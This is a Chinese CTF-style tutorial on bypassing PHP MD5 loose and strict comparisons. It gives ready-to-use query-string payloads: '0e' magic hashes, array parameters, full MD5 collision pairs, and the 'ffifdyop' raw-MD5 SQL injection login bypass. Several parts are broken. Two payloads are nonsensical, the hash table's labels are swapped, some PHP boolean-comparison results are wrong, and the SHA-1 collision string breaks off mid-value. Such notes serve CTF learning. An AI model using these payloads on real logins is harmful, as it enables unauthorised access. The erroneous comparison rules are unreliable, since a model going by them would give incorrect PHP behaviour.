md5强比较&弱比较

md5强比较,弱比较

强比较:使用三个 ''==='' 比较,比较值,也比较类型

弱比较:使用两个 ''=='' 比较,只比较值,不比较类型

  • a==b   将a,b的值转换成同类型再比较值
  • a===b 先判断a,b类型,若相同,则比较值,若不相同,则返回false

相关口诀

数组绕过,0e绕过

QNKCDZO 240610708 常用

md5($a)==md5(md5($a))

0e215962017

MD5加密登录万能通用

ffifdyop

md5弱比较

转换规则:

   1.字符型和字符型比较,为同类型,比较其内容,例''123abc''==''123'' => false

   2.数字型和数字型比较,同上,例:123 == 12 => false

                                                         123 ==123=> true

   3.字符型和数字型比较,若字符型值开头为数字,转为数字;

                                       若开头不为数字,为 null 弱比较与 0 相等。

                                       例:''abc123''==123 => false

                                              "123abc"==123 => true

                                              ''abc123''==0 => true

                                              ''123''==123 => true

                                             ''123abc''==12 => false

[1]字符型和数值型的弱比较

      比较原理:

      先看字符串开头是否为数字

                    如果为数字,则截止到连续数字的最后一个数字,即"123abc456"=>123

                    如果不为数字,则判断为false,即"abc123456"=>0

实例:

("123abc"==123) => true

("123"==123) => true

("123abc"=="123") => false

("abc123"==0) => true


相关wp:PHP的var_dump(‘1‘==‘1e0‘)的结果为true_php 判断var_dump返回为真是_思维小刀的博客-CSDN博客


[2]字符型和字符型的比较

            字符串的弱比较只能采用0e绕过,需要注意的是,0e后面不能有字母的存在

实例:

("0e123456"=="0e345") => true

("0e12adfc"=="0e345") => false

[3] 布尔型和任意值的比较

             布尔值true和任意字符串和数值都弱相等,除了0和false,因为0也认为是bool false,true是不等于false的

实例:

(true==''false'') => false

(0==''false'') => true

(true==0) => false

(true==''abc'') =>false

(true==''123abc'') =>true

 

 

一、md5弱类型绕过

<1>   0e绕过

  • 0e绕过的原理

科学记数法是一种记数的方法。

计算器表达10的幂一般是用E或e

如:2 760 000   =    2.76×10^6    =    2.76e6

           所以0e,无论后面跟什么值,都是0

  • 以下是常见的字符串md5值为0e开头

密文                      原值

QNKCDZO           0E830400451993494058024219903391
240610708           0E462097431906509019562988736854
s878926199a       0E545993274517709034328855841020
s155964671a       0E342768416822451524974117254469
s214587387a       0E848240448830537924465865611904

  • 0x01 一次md5的加密

$a=$_GET['a'];

$b=$_GET['b'];

md5($a)==md5($b)

payload:?a=QNKCDZO&b=240610708

  • 0x02 一次md5的加密

$a=$_GET['a'];

$a==md5($a);

payload:?md5('0E830400451993494058024219903391')=0E462097431906509019562988736854

  • 0x03 两次md5的加密

$a=$_GET['a'];

$a==md5($a);

payload:?md5(md5(0E830400451993494058024219903391))=0E545993274517709034328855841020


相关详细的md5值为0e开头的见链接:

常见的MD5碰撞:md5值为0e开头_烟雨天青色的博客-CSDN博客


 <2>  数组绕过

  • 数组绕过的原理

md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null

比如传入md5(a[]=1)==md5(b[]=2),实际上是null==null,所以数组进行md5弱比较时,结果相等

$a=$_GET['a'];

$b=$_GET['b'];

md5($a)==md5($b)

payload:?a[]=1&b[]=2

  • 实操:

md5强比较&弱比较_第1张图片


 相关php在浏览器执行的文章链接:php怎么在浏览器运行-php教程-PHP中文网

 或者用idea打开php下的www目录,后执行


二、md5强类型绕过

<1>md5值完全相同的字符绕过

$a=$_GET['a'];

$b=$_GET['b'];

md5($a)===md5($b)

payload:?a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
 

  • 两个MD5值完全相同的字符

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2


  • 此时插入sha1值完全相同的字符

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%


<2>数组绕过

payload:?a[]=1&b[]=2

三、万能通式ffifdyop 绕过

           万能通式:129581926211651571912466741651878684928和ffifdyop

实例:

select * from 'admin' where password=md5($pass,true)

输入md5('ffifdyop',true)绕过

select * from 'admin' where password=md5('ffifdyop',true)

md5(string,raw)

md5强比较&弱比较_第2张图片

   绕过原理:

md5强比较&弱比较_第3张图片

ffifdyop 这个字符串被 md5 哈希了后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是 select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。

where password=正确的密码or 1 ,代表永真,那么前面有没有密码都无所谓了

简单说,

select * from admin where password=''or'6<乱码>'

就相当于

select * from admin where password=''or 1  实现sql注入

当两个条件中有任一个条件满足,“逻辑或”的运算结果就为“真”

逻辑与”相当于生活中说的“并且”,就是两个条件都同时成立的情况下“逻辑与”的运算结果才为“真”。


相关文章链接:

https://blog.csdn.net/weixin_45349299/article/details/127983551
求&&逻辑与 ||逻辑或 !逻辑非 如何判断真假_百度知道

你可能感兴趣的:(html,安全,servlet)